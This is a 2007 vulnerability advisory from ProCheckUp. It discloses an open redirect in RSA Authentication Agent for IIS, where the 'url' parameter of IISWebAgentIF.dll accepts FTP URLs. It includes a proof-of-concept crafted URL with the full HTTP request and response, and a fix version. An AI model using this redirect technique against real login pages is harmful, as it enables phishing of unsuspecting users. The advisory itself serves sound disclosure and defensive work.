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PR07-43: Cross-domain redirect on RSA Authentication Agent
Vulnerability found: 5th December 2007
Vendor informed: 13th December 2007
Severity: Medium-low
Successfully tested on: RSA Authentication Agent 5.3.0.258 for Web for
Internet Information Services in conjunction with Mozilla Firefox 2.0.0.11
Description:
A remote URI redirection vulnerability affects the RSA Authentication
Agent. This issue is due to a failure of the application to properly
sanitize URI-supplied data assigned to the 'url' parameter.
An attacker may leverage this issue to carry out convincing phishing
attacks against unsuspecting users by causing an arbitrary page to be
loaded once a RSA Authentication Agent specially-crafted URL is visited.
Although the 'url' parameter is filtered for protocol URLs such as
'http://' and 'https://', is NOT filtered for other protocols such as
FTP or Gopher. An attacker could upload a spoof login page to a FTP
server that allows anonymous connections where the victim would be
redirected.
Vulnerable server-side script: '/WebID/IISWebAgentIF.dll'
Unfiltered parameter: 'url'
Note: the redirect will only take place in browsers which consider URLs
with only one slash after the colon symbol ':' as valid when performing
redirects - i.e.: "Location: ftp:/evil-domain.foo/"
Proof of concept:
Example of specially-crafted URL:
https://target-domain.foo/WebID/IISWebAgentIF.dll?Redirect?url=ftp://bo.mirror.garr.it/pub/mirrors/Mandrake/devel/cooker/i586/index.htm
COMPLETE HTTP REQUEST:
GET
/WebID/IISWebAgentIF.dll?Redirect?url=ftp://bo.mirror.garr.it/pub/mirrors/Mandrake/devel/cooker/i586/index.htm
HTTP/1.1
Host: target-domain.foo
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.11)
Gecko/20071127 Firefox/2.0.0.11
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
COMPLETE HTTP RESPONSE:
HTTP/1.x 302 Object Moved
Connection: Keep-Alive
Content-Length: 194
Date: Tue, 18 Dec 2007 09:35:19 GMT
Location:
ftp:/bo.mirror.garr.it/pub/mirrors/Mandrake/devel/cooker/i586/index.htm
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Consequences:
Victim users can be redirected to third-party sites for the purpose of
exploiting browser vulnerabilities or performing phishing attacks.
Fix:
The vendor has stated that this issue was addressed in the RSA
Authentication Agent 5.3.3.378. RSA customers can download the upgrade
from the RSA web site.
References:
http://www.procheckup.com/Vulnerabilities.php
http://www.rsa.com/node.aspx?id=2807
Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com).
ProCheckUp thanks RSA for being so cooperative and responding so fast.
Legal:
Copyright 2008 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if, the Bulletin is not edited or changed in any way, is
attributed to Procheckup, and provided such reproduction and/or
distribution is performed for non-commercial purposes.
Any other use of this information is prohibited. Procheckup is not
liable for any misuse of this information by any third party.
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